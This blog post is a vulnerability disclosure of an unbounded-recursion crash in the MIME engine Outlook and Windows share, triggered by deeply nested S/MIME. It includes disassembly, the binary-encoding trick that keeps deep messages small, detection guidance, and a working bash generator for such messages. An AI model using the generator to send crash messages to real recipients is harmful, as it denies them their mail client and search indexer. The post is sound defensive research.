on this page

crashing outlook with a nested s/mime email: cwe-674 in the shared windows mime engine

•13 min read•Security

disclosure note: i reported this to microsoft on 2026-06-12 (MSRC case 122305, VULN-195014). they closed it on 2026-07-31 as low severity, below their servicing threshold: no fix, no CVE, no bounty, and no further tracking. a case closed complete is one you are free to discuss publicly, so this is that. it is an availability-only, recoverable bug; i am publishing the analysis and a generator so mail-scanning and endpoint vendors can detect and drop these messages, but i am not shipping a prebuilt crash file.

here is the whole bug in one sentence: if you can email someone a specially crafted s/mime message, you can crash their outlook and their windows search indexer, remotely, with no reply and — on the indexer path — no click, because the mime decoder that outlook and windows share will happily recurse a few thousand times into a nested pkcs#7 envelope until the thread stack runs out.

that is CWE-674, uncontrolled recursion, in code that ships in every current windows install. it is not memory corruption, not privilege escalation, and not remote code execution — i checked, and it is availability only. microsoft looked at it and decided it sits below the line they fix. i think that call is half right, and i will get to which half. first the bug, then how glaurung found it, then what defenders can do about it while the code stays unpatched.

the recursion cycle

opaque-signed s/mime (application/pkcs7-mime; smime-type=signed-data) carries a CMS SignedData blob whose signed content is, itself, another mime part. legitimately that inner part is a text/plain body or a multipart. nothing in the format says it cannot be another application/pkcs7-mime part. so you can wrap a message in an opaque signature, then wrap that in another, and another.

the decoder walks each layer on the same thread stack. in the windows os engine inetcomm.dll (10.0.26100.8521), the cycle is seven edges, all confirmed on disassembly:

CCAPIStm::BeginDecodeStreaming   registers CBStreamOutput with crypt32, calls CryptMsgUpdate
  -> crypt32!CryptMsgUpdate       fires the streaming output callback SYNCHRONOUSLY
    -> CCAPIStm::CBStreamOutput    a bare jmp into StreamOutput (same frame)
      -> CCAPIStm::StreamOutput    re-parses the decoded eContent as mime
        -> [inner part is pkcs7-mime] CCAPIStm::HandleNesting
          -> CCAPIStm::InitInner   allocate a child CCAPIStm, decode the next layer
            -> CCAPIStm::BeginDecodeStreaming(child)   <-- back to the top, one level deeper

because CryptMsgUpdate invokes its output callback synchronously, every layer’s full chain is live on the stack at once. n nested layers means n stacked copies of that six-frame cycle. there is no tail call to save; each level is a genuine deeper frame.

the interesting question is what, if anything, bounds the loop. the answer is nothing. here is the recursion edge itself, CCAPIStm::InitInner in inetcomm.dll, straight off capstone:

0x18005c363:  mov  eax, [rdi+0x40]
0x18005c369:  bts  eax, 0x12             ; set re-entrancy bit 0x12 on the CHILD object
0x18005c370:  mov  [rdi+0x40], eax
0x18005c373:  test [rsi+0x40], 0x10000   ; parent in DECODE mode?
0x18005c37a:  je   0x18005c383
0x18005c37c:  call 0x18005a0ec           ; BeginDecodeStreaming(child)  -- RECURSION
0x18005c381:  jmp  0x18005c38e
0x18005c38e:  btr  [rdi+0x40], 0x12      ; clear bit 0x12 on return

that bts ... 0x12 / btr ... 0x12 pair is the only state guarding the cycle, and it is a red herring. it sets a re-entrancy bit on the freshly allocated child object (rdi) and clears it on return, so it stops a single object from re-entering itself. it does nothing about the number of stacked child objects, because each layer gets a new child. there is no field incremented and compared to a maximum anywhere on the path — not in HandleNesting, not in InitInner, not in HrInnerInitialize, which copies the parent’s parameters into the child and sets a constant state byte but never a depth. the attacker picks the depth; the code offers no ceiling.

outlook’s own mime engine OUTLMIME.DLL (16.0.20026.20140, the microsoft 365 fork) has the same classes — CSMime, CCAPIStm, CMessageTree — and the identical un-guarded cycle. that is where every crash in this writeup was actually captured; the os engine is the static cross-check. one fix to the shared design covers both.

why deep nesting is actually feasible

the obvious objection: opaque signing base64-armors each layer, so wrapping n times blows the size up as roughly (4/3)^n and you hit gigabytes long before you hit a useful depth. that is true for naive nesting, and it caps you around depth 40 — harmless.

the bypass is one header. set Content-Transfer-Encoding: binary (or 8bit) on each nested .p7m part and the inner CMS DER is carried verbatim, no base64. size now grows linearly with depth. a 5000-layer message is about 1.6 MB — a perfectly ordinary attachment size, and several thousand frames past what a 1 MB thread stack survives. the captured fault is an access violation (0xc0000005) writing a stack local below the thread’s stack limit, at KERNELBASE!MultiByteToWideChar+0x37, exactly where you would expect the stack to give out mid-parse.

two ways in, one of them zero-click

the same message reaches two different consumers:

  • outlook reading pane. select the message and the reading pane renders the body, which decodes the s/mime, which recurses, which crashes outlook. this needs the user to click the message once (UI:R). the payload rides as Content-Disposition: attachment; filename="smime.p7m", and the fault stack passes through attachment-filename parsing — but no attachment is opened; the reading pane alone does it.
  • windows search indexer. SearchProtocolHost.exe indexes incoming mail automatically and runs the same decode. it crashes with no interaction at all (UI:N), in the indexed user’s own security context — not SYSTEM. and it retries: the poisoned item re-crashes the indexer on each pass until the message is removed.

by the numbers, the reading-pane path is AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H (CVSS 6.5) and the zero-click indexer path is the same with UI:N (CVSS 7.5). remote, unauthenticated, deterministic, and on the indexer, no click. the impact is bounded — it is a crash the targeted user recovers from by removing the message (from another client, or OWA), disabling the reading pane, or starting outlook in safe mode. it is not wormable and it does not cross a privilege boundary. one user, one mailbox, until they clean it up.

in fairness to the bug, i scored it A:H — high availability impact — which quietly assumes that availability of outlook is a thing the user wanted. i did not test that assumption. for some nonzero fraction of recipients, this may read less as a denial of service and more like a blissful release from the hell hole that is that cursed email client. i leave the sign of that term to the reader.

how glaurung found it

i did not fuzz this. there was no crash first and root-cause later. it went the other way: i read the decoder statically, saw a recursive descent with no depth counter, and only then built the message that proves it. that is the workflow glaurung — the binary-analysis toolkit i have been building — exists to make cheap, and it is worth showing because the honesty discipline is the whole point.

glaurung loads a pe, folds in microsoft’s public pdb symbols, and gives you both a decompiler and ground-truth disassembly of the same function. the rule i hold myself to is the one from the notepad writeup: the decompiler is a lead, the disassembly is the verdict. lifted pseudo-c is where you find the shape — “this function calls itself through a callback and nothing counts the depth” — and capstone is where you confirm it, instruction by instruction, before you write a word of a report. every load-bearing claim above is disasm-confirmed; the decompiler just told me where to look.

for this bug that meant lifting OUTLMIME.DLL and inetcomm.dll, letting the decompiler surface the CCAPIStm decode chain, noticing that InitInner allocates a child and re-enters BeginDecodeStreaming with no guard, and then dropping to disassembly to prove the bts 0x12 bit is per-object re-entrancy and not a depth counter. the crypt32 callback being synchronous — the reason the frames stack instead of unwinding — is the kind of detail you can only trust once you have read the actual control flow, not a decompiler’s guess at it.

i reran the whole thing on today’s glaurung build to check it still holds, and it does. the ground-truth disassembly of the recursion edge comes back byte-for-byte identical — as it must; capstone does not drift. the decompiler is where the last three months show. here is HrInnerInitialize (the child-parameter copy, inetcomm.dll 0x18005c184) as the current build emits it, no llm involved:

fn sub_18005c184 {
    // ...
    if (var1 != 0) { ret = sub_1800d9010(var1); &[var2+0x60] = var1; }
    &[var2+0x80] = var5;      // copy parent params into the child
    &[var2+0x40] = ebp;
    if (arg0 != 0) { &[var2+0x70] = arg0; ret = sub_1800d9010(); }
    // ...
}

the field offsets (+0x60, +0x80, +0x40, +0x70) match what the disassembly writes, which is the point — the pseudo-c is now close enough to the metal that you can read intent off it and then check it, rather than fighting it. that is roughly 2,800 commits of decompiler, ssa, type-recovery, and pdb work since the june analysis. it is still pre-1.0 and i still would not ship a verdict on pseudo-c alone — but the gap between “lead” and “verdict” keeps narrowing, and that gap is the whole product.

what microsoft said, and whether they were right

microsoft’s assessment: low severity, below the servicing bar. availability only, runs in the user’s own context, recoverable by restarting and removing the message — “a temporary, per-user application-level denial of service rather than a persistent system-wide outage.” no CVE, not tracked further, name offered for the special-mentions page.

i think the tier is right and the decline is a shrug.

the tier is right because microsoft triages by impact, not by how easy the trigger is, and a recoverable crash is genuinely low on that scale. “remote and zero-complexity” describes how cheaply you can fire it — and it is very cheap — but cheap-to-fire does not turn a crash into an escalation. i went in expecting a decline; recoverable denial of service is the most-declined shape there is, and pretending otherwise would be miscalibrating my own finding.

the decline is a shrug for two reasons. first, the characterization quietly shrank the bug to the reading-pane case and skipped the part that is actually uncomfortable: the indexer crash is zero-click and re-fires on every index attempt until the item is gone. “temporary, per-user” is doing a lot of work there. second, and more to the point, the fix is one constant. increment a depth counter when InitInner allocates a child, fail the decode past a small limit — the exact defense microsoft already ships in msxml6, where element depth is capped at 256. legitimate s/mime is one or two layers deep. this is shared os-engine code reachable by remote email, with a known, precedented, one-line fix, and the decision was to not spend the line. that is a cost-benefit call, not a statement that the bug is not real.

which is the honest framing for a post like this: i am not claiming microsoft mis-rated the severity. i am saying a 7.5 zero-click remote crash in shared windows code, fixable with a counter they already use elsewhere, sits below their line — and that is a choice defenders now have to work around themselves.

for defenders and mail scanners

since the code stays unpatched, the useful move is detection at the gateway. the signature is specific and cheap to match on the raw message, before any decode:

  • count nested application/pkcs7-mime parts (smime-type=signed-data / smime-type=enveloped-data). real signed or encrypted mail is one layer, occasionally two. more than a small handful of nested pkcs7 layers is not a thing legitimate clients produce.
  • weight it heavily when those nested layers carry Content-Transfer-Encoding: binary or 8bit, which is the size trick that makes deep nesting practical in the first place. deeply nested pkcs7 plus binary transfer encoding is close to a pure indicator.
  • you do not need to fully decode to see this — the layer headers are visible as you peel the CMS structure, and you can cap the peel at, say, 8 and quarantine anything deeper.

for endpoint and library maintainers who touch this engine or reimplement s/mime: cap the decode recursion. a depth counter with a small maximum, failing closed, is the fix — the same shape microsoft uses in msxml6. mail servers and AV engines that unpack s/mime to scan it should apply the same cap to their own unpackers so the scanner does not become the thing that falls over.

and for administrators who just want to survive a targeted message today: it is removable from another client or OWA, disabling the reading pane defangs the outlook path, and safe mode gets you back in if outlook is crash-looping on selection.

here is the generator i used to build the test corpus. it makes an n-deep message with the linear-growth binary encoding, with a benign text/plain at the center. i am publishing this rather than a prebuilt deep .eml on purpose: it is what you need to build detection and test your own cap, and it is not a drop-in weapon. keep the depth modest when testing your own tooling.

#!/bin/bash
# Build an N-deep nested opaque-signed S/MIME (.p7m) message.
# BINARY Content-Transfer-Encoding on each layer -> size grows LINEARLY with depth.
# For detection/mitigation testing only.
set -e
D=/tmp/csm/nest; mkdir -p "$D"; cd "$D"
if [ ! -f key.pem ]; then
  openssl ecparam -name prime256v1 -genkey -noout -out key.pem 2>/dev/null
  openssl req -x509 -new -key key.pem -days 3 -subj "/CN=x" -out cert.pem 2>/dev/null
fi
mk_layer() { # $1=input mime file  $2=output mime file
  openssl cms -sign -signer cert.pem -inkey key.pem -nocerts -noattr -binary \
    -nodetach -in "$1" -outform DER -out /tmp/csm/_der.bin 2>/dev/null
  { printf 'Content-Type: application/pkcs7-mime; smime-type=signed-data; name="smime.p7m"\r\n';
    printf 'Content-Transfer-Encoding: binary\r\n\r\n';
    cat /tmp/csm/_der.bin; } > "$2"
}
printf 'Content-Type: text/plain\r\n\r\nhi\r\n' > L0.mime
N=${1:-50}          # keep this modest for testing your own detection
cur=L0.mime
for i in $(seq 1 "$N"); do
  mk_layer "$cur" "L$i.mime"; cur="L$i.mime"
  { [ $((i % 10)) -eq 0 ] || [ "$i" -le 3 ]; } && echo "depth=$i size=$(stat -c%s "L$i.mime")"
done
OUT=/tmp/csm/probe_smime_nest_d${N}.eml
{ printf 'From: a@x\r\nTo: b@y\r\nSubject: x\r\nMIME-Version: 1.0\r\n'; cat "L$N.mime"; } > "$OUT"
echo "WROTE $OUT  size=$(stat -c%s "$OUT")  depth=$N"

takeaway

the bug is small and the fix is smaller. what is interesting is the shape of the whole thing: a remote, near-zero-click crash in code every windows machine runs, found by reading the decoder instead of hammering it, correctly rated low and then left unfixed because low means low. microsoft is within its rules. but “we will not spend one line on a remote crash in shared code” is exactly the gap where gateway detection has to pick up the slack — so that is what this post is for. the depth cap they already ship in msxml6 belongs in the mime engine too. until it is there, count the layers.

opinions expressed are my own and not those of any affiliated entities.

on this page